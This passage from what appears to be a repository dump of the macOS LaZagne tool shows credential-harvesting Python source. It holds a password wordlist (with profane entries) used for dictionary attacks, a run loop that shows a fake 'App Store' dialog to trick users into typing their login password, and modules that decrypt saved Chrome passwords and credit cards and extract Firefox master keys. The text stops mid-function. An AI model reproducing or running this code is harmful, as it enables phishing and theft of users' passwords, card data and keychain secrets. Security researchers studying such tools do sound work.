b\"willow\",\n        b\"cunt\",\n        b\"little\",\n        b\"carter\",\n        b\"slut\",\n        b\"albert\",\n        b\"69696969\",\n        b\"kitten\",\n        b\"super\",\n        b\"jordan23\",\n        b\"eagle1\",\n        b\"shelby\",\n        b\"america\",\n        b\"11111\",\n        b\"jessie\",\n        b\"house\",\n        b\"free\",\n        b\"123321\",\n        b\"chevy\",\n        b\"bullshit\",\n        b\"white\",\n        b\"broncos\",\n        b\"horney\",\n        b\"surfer\",\n        b\"nissan\",\n        b\"999999\",\n        b\"saturn\",\n        b\"airborne\",\n        b\"elephant\",\n        b\"marvin\",\n        b\"shit\",\n        b\"action\",\n        b\"adidas\",\n        b\"qwert\",\n        b\"kevin\",\n        b\"1313\",\n        b\"explorer\",\n        b\"walker\",\n        b\"police\",\n        b\"christin\",\n        b\"december\",\n        b\"benjamin\",\n        b\"wolf\",\n        b\"sweet\",\n        b\"therock\",\n        b\"king\",\n        b\"online\",\n        b\"dickhead\",\n        b\"brooklyn\",\n        b\"teresa\",\n        b\"cricket\",\n        b\"sharon\",\n        b\"dexter\",\n        b\"racing\",\n        b\"penis\",\n        b\"gregory\",\n        b\"0000\",\n        b\"teens\",\n        b\"redwings\",\n        b\"dreams\",\n        b\"michigan\",\n        b\"hentai\",\n        b\"magnum\",\n        b\"87654321\",\n        b\"nothing\",\n        b\"donkey\",\n        b\"trinity\",\n        b\"digital\",\n        b\"333333\",\n        b\"stella\",\n        b\"cartman\",\n        b\"guinness\",\n        b\"123abc\",\n        b\"speedy\",\n        b\"buffalo\",\n        b\"kitty\"]\n"
  },
  {
    "path": "Mac/lazagne/config/manage_modules.py",
    "content": "# -*- coding: utf-8 -*- \n# !/usr/bin/python\nfrom lazagne.config.soft_import_module import soft_import\nfrom lazagne.softwares.browsers.firefox_browsers import firefox_browsers\n\n\ndef get_categories():\n    category = {\n        'browsers': {'help': 'Web browsers supported'},\n        'mails': {'help': 'Email clients supported'},\n        'system': {'help': 'System credentials'},\n        'unused': {'help': 'This modules could not be used because of broken dependence'}\n    }\n    return category\n\n\ndef get_modules_names():\n    return [\n        # system\n        (\"lazagne.softwares.system.hashdump\", \"HashDump\"),\n        (\"lazagne.softwares.system.chainbreaker\", \"ChainBreaker\"),\n        (\"lazagne.softwares.system.system\", \"System\"),\n        # mails\n        (\"lazagne.softwares.mails.thunderbird\", \"Thunderbird\"),\n        # browsers\n        (\"lazagne.softwares.browsers.chrome\", \"Chrome\")\n    ]\n\n\ndef get_modules():\n    modules = [soft_import(package_name, module_name)() for package_name, module_name in get_modules_names()]\n    return modules + firefox_browsers\n"
  },
  {
    "path": "Mac/lazagne/config/module_info.py",
    "content": "\"\"\"\nname => Name of a class\ncategory => windows / browsers / etc\noptions => dictionary\n- command\n- action\n- dest\n- help\n\nex: ('-s', action='store_true', dest='skype', help='skype')\noptions['command'] = '-s'\noptions['action'] = 'store_true'\noptions['dest'] = 'skype'\noptions['help'] = 'skype'\n\"\"\"\n\nfrom lazagne.config.write_output import print_debug\n\n\nclass ModuleInfo(object):\n    def __init__(self, name, category, sub_options=[]):\n        self.name = name\n        self.category = category\n        self.options = {\n            'command': '-{name}'.format(name=self.name),\n            'action': 'store_true',\n            'dest': self.name,\n            'help': '{name} passwords'.format(name=self.name)\n        }\n        self.suboptions = sub_options\n\n    def error(self, message):\n        print_debug('ERROR', message)\n\n    def info(self, message):\n        print_debug('INFO', message)\n\n    def debug(self, message):\n        print_debug('DEBUG', message)\n\n    def warning(self, message):\n        print_debug('WARNING', message)"
  },
  {
    "path": "Mac/lazagne/config/run.py",
    "content": "# -*- coding: utf-8 -*-\n# !/usr/bin/python\nimport subprocess\nimport traceback\nimport getpass\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.write_output import print_debug, StandardOutput\nfrom lazagne.config.manage_modules import get_categories, get_modules\nfrom lazagne.softwares.browsers.chrome import Chrome\n\n\ndef create_module_dic():\n    if constant.modules_dic:\n        return constant.modules_dic\n\n    modules = {}\n\n    # Define a dictionary for all modules\n    for category in get_categories():\n        modules[category] = {}\n\n    # Add all modules to the dictionary\n    for m in get_modules():\n        modules[m.category][m.options['dest']] = m\n\n    constant.modules_dic = modules\n    return modules\n\n\ndef get_safe_storage_key(key):\n    try:\n        for passwords in constant.keychains_pwds:\n            if key in passwords['Service']:\n                return passwords['Password']\n    except Exception:\n        pass\n\n    return False\n\n\ndef run_cmd(cmd):\n    p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n    result, _ = p.communicate()\n    if result:\n        return result\n    else:\n        return ''\n\n\ndef run_module(module, subcategories):\n    \"\"\"\n    Run only one module\n    \"\"\"\n    modules_to_launch = []\n\n    # Launch only a specific module\n    for i in subcategories:\n        if subcategories[i] and i in module:\n            modules_to_launch.append(i)\n\n    # Launch all modules\n    if not modules_to_launch:\n        modules_to_launch = module\n\n    for i in modules_to_launch:\n        try:\n            constant.st.title_info(i.capitalize())  # print title\n            pwd_found = module[i].run()  # run the module\n            constant.st.print_output(i.capitalize(), pwd_found)  # print the results\n\n            # Return value - not used but needed\n            yield True, i.capitalize(), pwd_found\n        except Exception:\n            error_message = traceback.format_exc()\n            print_debug('DEBUG', error_message)\n            yield False, i.capitalize(), error_message\n\n\ndef run_modules(category_selected, subcategories):\n    \"\"\"\n    Run modules\n    \"\"\"\n    modules = create_module_dic()\n    categories = [category_selected] if category_selected != 'all' else get_categories()\n    for category in categories:\n        for r in run_module(modules[category], subcategories):\n            yield r\n\n\ndef run_lazagne(category_selected='all', subcategories={}, password=None, interactive=False):\n    \"\"\"\n    Main function\n    \"\"\"\n    if password:\n        constant.user_password = password\n\n    if not constant.st:\n        constant.st = StandardOutput()\n\n    user = getpass.getuser()\n    constant.finalResults = {'User': user}\n\n    # Could be easily changed\n    application = 'App Store'\n\n    i = 0\n    while True:\n        # Run all modules\n        for r in run_modules(category_selected, subcategories):\n            yield r\n\n        # Execute once if not interactive,\n        # Otherwise print the dialog box until the user keychain is unlocked (so the user password has been found)\n        if not interactive or (interactive and constant.user_keychain_find):\n            break\n\n        elif interactive and not constant.user_keychain_find:\n            msg = ''\n            if i == 0:\n                msg = 'App Store requires your password to continue.'\n            else:\n                msg = 'Password incorrect! Please try again.'\n\n            # Code inspired from: https://github.com/fuzzynop/FiveOnceInYourLife\n            cmd = 'osascript -e \\'tell app \"{application}\" to activate\\' -e \\'tell app \"{application}\" ' \\\n                  'to activate\\' -e \\'tell app \"{application}\" to display dialog \"{msg}\" & return & ' \\\n                  'return  default answer \"\" with icon 1 with hidden answer with title \"{application} Alert\"\\''.format(\n                    application=application, msg=msg\n            )\n            pwd = run_cmd(cmd)\n            if pwd.split(':')[1].startswith('OK'):\n                constant.user_password = pwd.split(':')[2].strip()\n\n        i += 1\n\n        # If the user enter 10 bad password, be nice with him and break the loop\n        if i > 10:\n            break\n\n    # If keychains has been decrypted, launch again some module\n    chrome_key = get_safe_storage_key('Chrome Safe Storage')\n    if chrome_key:\n        for r in run_module({'chrome': Chrome(safe_storage_key=chrome_key)}, subcategories):\n            yield r\n\n    constant.stdout_result.append(constant.finalResults)"
  },
  {
    "path": "Mac/lazagne/config/soft_import_module.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom importlib import import_module\n\nfrom lazagne.config.module_info import ModuleInfo\n\n\ndef soft_import(package_name, module_name):\n    \"\"\" Imports module or return mock object which only print error\n    \"\"\"\n    try:\n        module = import_module(package_name)\n        return getattr(module, module_name)\n    except ImportError as ex:\n\n        #  Emulate import ModuleInfo: return object (function) which generates objects of type ModuleInfo\n        #  This could be done with metaclasses, but now let's just keep it simple.\n        def get_import_error_mock(module_name, exception):\n            return lambda *args, **kwargs: _MOCK_ImportErrorInModule(module_name, exception)\n\n        return get_import_error_mock(module_name, ex)\n\n\nclass _MOCK_ImportErrorInModule(ModuleInfo):\n\n    def __init__(self, name, exception):\n        super(_MOCK_ImportErrorInModule, self).__init__(name, \"unused\")\n        self.__message_to_print = \"Module %s is not used due to unresolved dependence:\\r\\n%s\" % (name, str(exception))\n\n    def run(self):\n        self.error(self.__message_to_print)\n"
  },
  {
    "path": "Mac/lazagne/config/write_output.py",
    "content": "#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\nfrom lazagne.config.constant import constant\nfrom platform import uname\nfrom time import gmtime, strftime\nimport logging\nimport getpass\nimport socket\nimport json\nimport sys\nimport os\n\n\nclass Bcolors(object):\n    HEADER = '\\033[95m'\n    OKBLUE = '\\033[94m'\n    OK = '\\033[92m'\n    WARNING = '\\033[96m'\n    FAIL = '\\033[91m'\n    TITLE = '\\033[93m'\n    ENDC = '\\033[0m'\n\n\nclass StandardOutput(object):\n    def __init__(self):\n        self.banner = '''\n|====================================================================|\n|                                                                    |\n|                        The LaZagne Project                         |\n|                                                                    |\n|                          ! BANG BANG !                             |\n|                                                                    |\n|====================================================================|\n'''\n\n    def set_color(self, color=None):\n        b = Bcolors()\n        sys.stdout.write({'white': b.TITLE,\n                          'red': b.FAIL,\n                          'green': b.OK,\n                          'cyan': b.WARNING}.get(color, b.ENDC))\n\n    # Print banner\n    def first_title(self):\n        self.do_print(message=self.banner, color='white')\n        # Python 3.7.3 on Darwin x86_64: i386\n        python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + \" {0} {4}: {5}\\n\".format(*uname())\n        self.print_logging(function=logging.debug, prefix='[!]', message=python_banner, color='white')\n\n    # Info option for the logging\n    def print_title(self, title):\n        t = u'------------------- ' + title + ' passwords -----------------\\n'\n        self.do_print(message=t, color='white')\n\n    # Debug option for the logging\n    def title_info(self, title):\n        t = u'------------------- ' + title + ' passwords -----------------\\n'\n        self.print_logging(function=logging.info, prefix='', message=t, color=False)\n\n    def write_header(self):\n        time = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\n        header = u'{banner}\\r\\n- Date: {date}\\r\\n- Username: {username}\\r\\n- Hostname:{hostname}\\r\\n\\r\\n'.format(\n            banner=self.banner.replace('\\n', '\\r\\n'),\n            date=str(time),\n            username=getpass.getuser(),\n            hostname=socket.gethostname()\n        )\n        open(os.path.join(constant.folder_name, '{filename}.txt'.format(filename=constant.file_name_results)),\n             \"a+\").write(header)\n\n    def write_footer(self):\n        footer = '\\n[+] %s passwords have been found.\\r\\n\\r\\n' % str(constant.nbPasswordFound)\n        open(os.path.join(constant.folder_name, '{filename}.txt'.format(filename=constant.file_name_results)),\n             \"a+\").write(footer)\n\n    def print_footer(self, elapsed_time=None):\n        footer = '\\n[+] %s passwords have been found.\\n' % str(constant.nbPasswordFound)\n        if not logging.getLogger().isEnabledFor(logging.INFO):\n            footer += 'For more information launch it again with the -v option\\n'\n        if elapsed_time:\n            footer += '\\nelapsed time = ' + str(elapsed_time)\n        self.do_print(footer)\n\n    def print_logging(self, function, prefix='[!]', message='', color=False):\n        if constant.quiet_mode:\n            return\n\n        try:\n            msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message)\n        except Exception:\n            msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message))\n\n        if color:\n            self.set_color(color)\n            function(msg)\n            self.set_color()\n        else:\n            function(msg)\n\n    def try_unicode(self, obj, encoding='utf-8'):\n        try:\n            if isinstance(obj, basestring):       # noqa: F821\n                if not isinstance(obj, unicode):  # noqa: F821\n                    obj = unicode(obj, encoding)  # noqa: F821\n        except Exception:\n            pass\n        return obj\n\n    def print_without_error(self, message):\n        try:\n            print(message)\n        except Exception:\n            print(repr(message))\n\n    # Centralize print function\n    def do_print(self, message='', color=None):\n        # Quiet mode => nothing is printed\n        if constant.quiet_mode:\n            return\n\n        message = self.try_unicode(message)\n        if color:\n            self.set_color(color=color)\n            self.print_without_error(message)\n            self.set_color()\n        else:\n            self.print_without_error(message)\n\n    def checks_write(self, values, category):\n        if values:\n            if \"Passwords\" not in constant.finalResults:\n                constant.finalResults[\"Passwords\"] = []\n            constant.finalResults[\"Passwords\"].append([{\"Category\": category}, values])\n\n    def print_output(self, software_name, pwd_found):\n\n        if pwd_found:\n            # If the debug logging level is not apply => print the title\n            if not logging.getLogger().isEnabledFor(logging.INFO):\n                self.print_title(software_name)\n\n            to_write = []\n\n            # Remove duplicated password\n            pwd_found = [dict(t) for t in set([tuple(d.items()) for d in pwd_found])]\n\n            for pwd in pwd_found:\n                password_category = False\n                # Detect which kinds of password has been found\n                lower_list = [s.lower() for s in pwd]\n                password = [s for s in lower_list if \"password\" in s]\n\n                if password:\n                    password_category = password\n                else:\n                    key = [s for s in lower_list if \"key\" in s]  # for the wifi\n                    if key:\n                        password_category = key\n                    else:\n                        hash_ = [s for s in lower_list if \"hash\" in s]\n                        if hash_:\n                            password_category = hash_\n                        else:\n                            cmd = [s for s in lower_list if \"cmd\" in s]\n                            if cmd:\n                                password_category = cmd\n\n                # Do not print empty passwords\n                try:\n                    if not pwd[password_category[0].capitalize()]:\n                        continue\n                except Exception:\n                    pass\n\n                # No password found\n                if not password_category:\n                    print_debug(\"ERROR\", \"Password not found !!!\")\n                else:\n                    # Store all passwords found on a table => for dictionary attack if master password set\n                    constant.nbPasswordFound += 1\n                    passwd = None\n                    try:\n                        passwd = pwd[password_category[0].capitalize()]\n                        if passwd not in constant.passwordFound:\n                            constant.passwordFound.append(passwd)\n                    except Exception:\n                        pass\n\n                # Password field is empty\n                if not passwd:\n                    print_debug(\"FAILED\", u'Password not found !!!')\n                else:\n                    print_debug(\"OK\", u'{password_category} found !!!'.format(\n                        password_category=password_category[0].title()))\n                    to_write.append(pwd)\n\n                for p in pwd:\n                    self.do_print('%s: %s' % (p, pwd[p]))\n                self.do_print()\n\n            # Write credentials into a text file\n            self.checks_write(to_write, software_name)\n        else:\n            print_debug(\"INFO\", \"No passwords found\")\n\n\ndef print_debug(error_level, message):\n    # Quiet mode => nothing is printed\n    if constant.quiet_mode:\n        return\n\n    # Print when password is found\n    if error_level == 'OK':\n        constant.st.do_print(message='[+] {message}'.format(message=message), color='green')\n\n    # Print when password is not found\n    elif error_level == 'ERROR':\n        constant.st.do_print(message='[-] {message}'.format(message=message), color='red')\n\n    elif error_level == 'CRITICAL' or error_level == 'ERROR':\n        constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red')\n\n    elif error_level == 'WARNING':\n        constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan')\n\n    elif error_level == 'DEBUG':\n        constant.st.print_logging(function=logging.debug, message=message, prefix='[!]')\n\n    else:\n        constant.st.print_logging(function=logging.info, message=message, prefix='[!]')\n\n\n# --------------------------- End of output functions ---------------------------\n\ndef parse_json_result_to_buffer(json_string, color=False):\n    green = ''\n    reset = ''\n    title = ''\n    if color:\n        b = Bcolors()\n        green = b.OK\n        title = b.TITLE\n        reset = b.ENDC\n\n    buffer = ''\n    try:\n        for json in json_string:\n            if json:\n                if 'Passwords' not in json:\n                    buffer += 'No passwords found for this user !'\n                else:\n                    for all_passwords in json['Passwords']:\n                        buffer += '{title_color}------------------- {password_category} -----------------' \\\n                                  '{reset_color}\\r\\n'.format(\n                                        title_color=title,\n                                        password_category=all_passwords[0]['Category'],\n                                        reset_color=reset\n                                        )\n                        for password_by_category in all_passwords[1]:\n                            buffer += '\\r\\n{green_color}Password found !!!{reset_color}\\r\\n'.format(\n                                green_color=green,\n                                reset_color=reset\n                            )\n                            for dic in password_by_category:\n                                try:\n                                    buffer += '%s: %s\\r\\n' % (dic, password_by_category[dic].encode('utf-8'))\n                                except Exception:\n                                    buffer += '%s: %s\\r\\n' % (\n                                        dic, password_by_category[dic].encode(encoding='utf-8', errors='replace')\n                                    )\n                        buffer += '\\r\\n'\n\n    except Exception as e:\n        print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=e))\n\n    return buffer\n\n\ndef write_in_file(result):\n    \"\"\"\n    Write output to file (json and txt files)\n    \"\"\"\n    if constant.output in ('json', 'all'):\n        try:\n            # Human readable Json format\n            pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '))\n            with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'a+b') as f:\n                f.write(pretty_json.encode('UTF-8'))\n            constant.st.do_print(\n                '[+] File written: ' + constant.folder_name + os.sep + constant.file_name_results + '.json')\n        except Exception as e:\n            print_debug('ERROR', 'Error writing the output file: %s' % e)\n\n    if constant.output in ('txt', 'all'):\n        try:\n            with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'a+b') as f:\n                a = parse_json_result_to_buffer(result)\n                f.write(a.encode(\"UTF-8\"))\n            constant.st.write_footer()\n            constant.st.do_print(\n                '[+] File written: ' + constant.folder_name + os.sep + constant.file_name_results + '.txt')\n        except Exception as e:\n            print_debug('ERROR', 'Error writing the output file: %s' % e)\n"
  },
  {
    "path": "Mac/lazagne/softwares/__init__.py",
    "content": ""
  },
  {
    "path": "Mac/lazagne/softwares/browsers/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n"
  },
  {
    "path": "Mac/lazagne/softwares/browsers/chrome.py",
    "content": "# -*- coding: utf-8 -*- \n# !/usr/bin/python\n\n# Awesome work from @manwhoami\n# check the github repo: https://github.com/manwhoami/OSXChromeDecrypt\n\nimport subprocess\nimport itertools\nimport binascii\nimport operator\nimport tempfile\nimport sqlite3\nimport shutil\nimport base64\nimport struct\nimport glob\nimport hmac\n\nfrom lazagne.config.module_info import ModuleInfo\n\n\n# Big thanks to @mitsuhiko https://github.com/mitsuhiko/python-pbkdf2 for the below function pbkdf2_bin\ndef pbkdf2_bin(hash_fxn, password, salt, iterations, key_len=16):\n    _pack_int = struct.Struct('>I').pack\n    hash_func = sha1\n    mac = hmac.new(password, None, hash_func)\n\n    def pseudo_random(x, mac=mac):\n        h = mac.copy()\n        h.update(x)\n        return map(ord, h.digest())\n\n    buf = []\n    for block in range(1, -(-key_len // mac.digest_size) + 1):\n        rv = u = pseudo_random(salt + _pack_int(block))\n        for i in range(iterations - 1):\n            u = pseudo_random(''.join(map(chr, u)))\n            rv = itertools.starmap(operator.xor, itertools.izip(rv, u))\n        buf.extend(rv)\n\n    return ''.join(map(chr, buf))[:key_len]\n\n\ntry:\n    from hashlib import pbkdf2_hmac\nexcept ImportError:\n    # python version not available (Python <2.7.8, macOS < 10.11) use @mitsuhiko's pbkdf2 method\n    pbkdf2_hmac = pbkdf2_bin\n    from hashlib import sha1\n\n\nclass Chrome(ModuleInfo):\n    def __init__(self, safe_storage_key=None):\n        ModuleInfo.__init__(self, 'chrome', 'browsers')\n\n        login_data_path = '/Users/*/Library/Application Support/Google/Chrome/*/Login Data'\n        cc_data_path = '/Users/*/Library/Application Support/Google/Chrome/*/Web Data'\n        self.chrome_data = glob.glob(login_data_path) + glob.glob(cc_data_path)\n        self.safe_storage_key = safe_storage_key\n\n    def get_cc(self, cc_num):\n        cc_dict = {\n            3: 'AMEX',\n            4: 'Visa',\n            5: 'Mastercard',\n            6: 'Discover'\n        }\n        try:\n            return cc_dict[cc_num[0]]\n        except KeyError:\n            return 'Unknown Card Issuer'\n\n    def chrome_decrypt(self, encrypted, iv, key):\n        # AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively)\n        hex_key = binascii.hexlify(key)\n        hex_enc_password = base64.b64encode(encrypted[3:])\n\n        # send any error messages to /dev/null to prevent screen bloating up\n        try:\n            decrypted = subprocess.check_output(\n                \"openssl enc -base64 -d -aes-128-cbc -iv '{iv}' -K {hex_key} <<< {hex_enc_password} 2>/dev/null\".format(\n                    iv=iv, hex_key=hex_key, hex_enc_password=hex_enc_password), shell=True\n            )\n        except Exception as e:\n            decrypted = 'ERROR retrieving password'\n        return decrypted\n\n    def chrome_process(self, safe_storage_key, chrome_data):\n        # salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm\n        iv = ''.join(('20',) * 16)\n        key = pbkdf2_hmac('sha1', safe_storage_key, b'saltysalt', 1003)[:16]\n\n        # work around for locking DB\n        copy_path = tempfile.mkdtemp()\n        with open(chrome_data, 'r') as content:\n            db_copy = content.read()\n\n        with open('{path}/chrome'.format(path=copy_path), 'w') as content:\n            # if chrome is open, the DB will be locked, so get around by making a temp copy\n            content.write(db_copy)\n\n        database = sqlite3.connect('%s/chrome' % copy_path)\n        if 'Web Data' in chrome_data:\n            sql = 'select name_on_card, card_number_encrypted, expiration_month, expiration_year from credit_cards'\n        else:\n            sql = 'select username_value, password_value, origin_url, submit_element from logins'\n\n        decrypted_list = []\n        with database:\n            for values in database.execute(sql):\n                # values will be (name_on_card, card_number_encrypted, expiration_month, expiration_year)\n                # or (username_value, password_value, origin_url, submit_element)\n                # user will be empty if they have selected \"never\" store password\n                if values[0] == '' or (values[1][:3] != b'v10'):\n                    continue\n                else:\n                    decrypted_list.append((\n                        str(values[2]).encode('ascii', 'ignore'), values[0].encode('ascii', 'ignore'),\n                        str(self.chrome_decrypt(values[1], iv, key)).encode('ascii', 'ignore'),\n                        values[3])\n                    )\n\n        shutil.rmtree(copy_path)\n        return decrypted_list\n\n    def run(self):\n\n        pwd_found = []\n        if not self.safe_storage_key:\n            self.error('Chrome safe storage key has not been retrieved, cannot decrypt passwords')\n            return\n        else:\n            self.info('Chrome safe storage key has been retrieved: {safe_storage_key}'.format(\n                safe_storage_key=self.safe_storage_key)\n            )\n\n        for profile in self.chrome_data:\n            for i, x in enumerate(self.chrome_process(str(self.safe_storage_key), \"%s\" % profile)):\n                if 'Web Data' in profile:\n                    if i == 0:\n                        pwd_found.append(\n                            {\n                                'Type': self.get_cc(x[2]),\n                                'Card Name': x[1],\n                                'Account': x[2],\n                                'Expiration Date': '%s/%s' % (x[0], x[3])\n                            }\n                        )\n                else:\n                    if i == 0:\n                        pwd_found.append(\n                            {\n                                'Profile': profile.split('/')[-2],\n                                'URL': x[0].strip(),\n                                'Account': x[1].strip(),\n                                'Password': x[2].strip(),\n                            }\n                        )\n\n        return pwd_found\n"
  },
  {
    "path": "Mac/lazagne/softwares/browsers/firefox_browsers.py",
    "content": "from lazagne.config.soft_import_module import soft_import\n\n\nmozilla_based_module_location = \"lazagne.softwares.browsers.mozilla\", \"Mozilla\"\nMozilla = soft_import(*mozilla_based_module_location)\n\n# Name, path\nfirefox_browsers = [\n    (u'firefox', u\"~/Library/Application Support/Firefox/\"),\n    # Check these paths on Mac systems\n    # (u'BlackHawk', u'{APPDATA}\\\\NETGATE Technologies\\\\BlackHawk'),\n    # (u'Cyberfox', u'{APPDATA}\\\\8pecxstudios\\\\Cyberfox'),\n    # (u'Comodo IceDragon', u'{APPDATA}\\\\Comodo\\\\IceDragon'),\n    # (u'K-Meleon', u'{APPDATA}\\\\K-Meleon'),\n    # (u'Icecat', u'{APPDATA}\\\\Mozilla\\\\icecat'),\n]\n\nfirefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers]\n"
  },
  {
    "path": "Mac/lazagne/softwares/browsers/mozilla.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472)\n# from https://github.com/lclevy/firepwd/blob/master/firepwd.py\n\nimport hmac\nimport json\nimport sqlite3\nimport struct\nimport sys\nimport traceback\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.crypto.pyDes import triple_des, CBC\nfrom lazagne.config.crypto.pyaes import AESModeOfOperationCBC\nfrom lazagne.config.dico import get_dic\nfrom lazagne.config.constant import constant\nfrom pyasn1.codec.der import decoder\nfrom binascii import unhexlify\nfrom base64 import b64decode\nfrom hashlib import sha1, pbkdf2_hmac\n\ntry:\n    from ConfigParser import RawConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import RawConfigParser  # Python 3\n\nif sys.version_info[0]:\n    python_version = sys.version_info[0]\n\ndef l(n):\n    try:\n        return long(n)\n    except NameError:\n        return int(n)\n\n\nCKA_ID = unhexlify('f8000000000000000000000000000001')\nAES_BLOCK_SIZE = 16\n\n\ndef convert_to_byte(s):\n    if python_version == 2:\n        return s\n    else:\n        return s.encode()\n\n\ndef o(c):\n    if python_version == 2:\n        return ord(c)\n    else:\n        return c\n\n\ndef long_to_bytes(n, blocksize=0):\n    \"\"\"long_to_bytes(n:long, blocksize:int) : string\n    Convert a long integer to a byte string.\n    If optional blocksize is given and greater than zero, pad the front of the\n    byte string with binary zeros so that the length is a multiple of\n    blocksize.\n    \"\"\"\n    # after much testing, this algorithm was deemed to be the fastest\n    s = convert_to_byte('')\n    n = l(n)\n    while n > 0:\n        s = struct.pack('>I', n & 0xffffffff) + s\n        n = n >> 32\n\n    # strip off leading zeros\n    for i in range(len(s)):\n        if s[i] != convert_to_byte('\\000')[0]:\n            break\n    else:\n        # only happens when n == 0\n        s = convert_to_byte('\\000')\n        i = 0\n    s = s[i:]\n    # add back some pad bytes.  this could be done more efficiently w.r.t. the\n    # de-padding being done above, but sigh...\n    if blocksize > 0 and len(s) % blocksize:\n        s = (blocksize - len(s) % blocksize) * convert_to_byte('\\000') + s\n\n    return s\n\n\nclass Mozilla(ModuleInfo):\n\n    def __init__(self, browser_name, path):\n        self.path = os.path.expanduser(path)\n        ModuleInfo.__init__(self, browser_name, category='browsers')\n\n    def get_firefox_profiles(self, directory):\n        \"\"\"\n        List all profiles\n        \"\"\"\n        cp = RawConfigParser()\n        profile_list = []\n\n        try:\n            cp.read(os.path.join(directory, 'profiles.ini'))\n            for section in cp.sections():\n                if section.startswith('Profile') and cp.has_option(section, 'Path'):\n                    profile_path = None\n\n                    if cp.has_option(section, 'IsRelative'):\n                        if cp.get(section, 'IsRelative') == '1':\n                            profile_path = os.path.join(directory, cp.get(section, 'Path').strip())\n                        elif cp.get(section, 'IsRelative') == '0':\n                            profile_path = cp.get(section, 'Path').strip()\n\n                    else: # No \"IsRelative\" in profiles.ini\n                        profile_path = os.path.join(directory, cp.get(section, 'Path').strip())\n\n                    if profile_path:\n                        profile_list.append(profile_path)\n\n        except Exception as e:\n            self.error(u'An error occurred while reading profiles.ini: {}'.format(e))\n        return profile_list\n\n    def get_key(self, profile):\n        \"\"\"\n        Get main key used to encrypt all data (user / password).\n        Depending on the Firefox version, could be stored in key3.db or key4.db file.\n        \"\"\"\n        try:\n            row = None\n            # Remove error when file is empty\n            with open(os.path.join(profile, 'key4.db'), 'rb') as f:\n                content = f.read()\n\n            if content:\n                conn = sqlite3.connect(os.path.join(profile, 'key4.db'))  # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite\n                c = conn.cursor()\n                # First check password\n                c.execute(\"SELECT item1,item2 FROM metadata WHERE id = 'password';\")\n                try:\n                    row = c.next()  # Python 2\n                except Exception:\n                    row = next(c)  # Python 3\n\n        except Exception:\n            self.debug(traceback.format_exc())\n\n        else:\n            if row:\n                (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=b'', key_data=row)\n\n                if global_salt:\n                    try:\n                        # Decrypt 3DES key to decrypt \"logins.json\" content\n                        c.execute(\"SELECT a11,a102 FROM nssPrivate;\")\n                        for row in c:\n                            if row[0]:\n                                break\n\n                        a11 = row[0]  # CKA_VALUE\n                        a102 = row[1]  # f8000000000000000000000000000001, CKA_ID\n\n                        if python_version == 2:\n                            a102 = str(a102)\n\n                        if a102 == CKA_ID:\n                            # a11  : CKA_VALUE\n                            # a102 : f8000000000000000000000000000001, CKA_ID\n                            # self.print_asn1(a11, len(a11), 0)\n                            # SEQUENCE {\n                            #     SEQUENCE {\n                            #         OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3\n                            #         SEQUENCE {\n                            #             OCTETSTRING entry_salt_for_3des_key\n                            #             INTEGER 01\n                            #         }\n                            #     }\n                            #     OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding)\n                            # }\n                            decoded_a11 = decoder.decode(a11)\n                            key = self.decrypt_3des(decoded_a11, master_password, global_salt)\n                            if key:\n                                self.debug(u'key: {key}'.format(key=repr(key)))\n                                yield key[:24]\n                        # else:\n                            # Nothing saved\n\n                    except Exception:\n                        self.debug(traceback.format_exc())\n\n        try:\n            key3_file = os.path.join(profile, 'key3.db')\n            if os.path.exists(key3_file):\n                key_data = self.read_bsddb(key3_file)\n                # Check masterpassword\n                (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=u'',\n                                                                                        key_data=key_data,\n                                                                                        new_version=False)\n                if global_salt:\n                    key = self.extract_secret_key(key_data=key_data,\n                                                  global_salt=global_salt,\n                                                  master_password=master_password,\n                                                  entry_salt=entry_salt)\n                    if key:\n                        self.debug(u'key: {key}'.format(key=repr(key)))\n                        yield key[:24]\n        except Exception:\n            self.debug(traceback.format_exc())\n\n    @staticmethod\n    def get_short_le(d, a):\n        return struct.unpack('<H', d[a:a + 2])[0]\n\n    @staticmethod\n    def get_long_be(d, a):\n        return struct.unpack('>L', d[a:a + 4])[0]\n\n    def print_asn1(self, d, l, rl):\n        \"\"\"\n        Used for debug\n        \"\"\"\n        type_ = o(d[0])\n        length = o(d[1])\n        if length & 0x80 > 0:  # http://luca.ntop.org/Teaching/Appunti/asn1.html,\n            # nByteLength = length & 0x7f\n            length = o(d[2])\n            # Long form. Two to 127 octets. Bit 8 of first octet has value \"1\" and\n            # bits 7-1 give the number of additional length octets.\n            skip = 1\n        else:\n            skip = 0\n\n        if type_ == 0x30:\n            seq_len = length\n            read_len = 0\n            while seq_len > 0:\n                len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1)\n                seq_len = seq_len - len2\n                read_len = read_len + len2\n            return length + 2\n        elif type_ in (0x6, 0x5, 0x4, 0x2):  # OID, OCTETSTRING, NULL, INTEGER\n            return length + 2\n        elif length == l - 2:\n            self.print_asn1(d[2:], length, rl + 1)\n            return length\n\n    def read_bsddb(self, name):\n        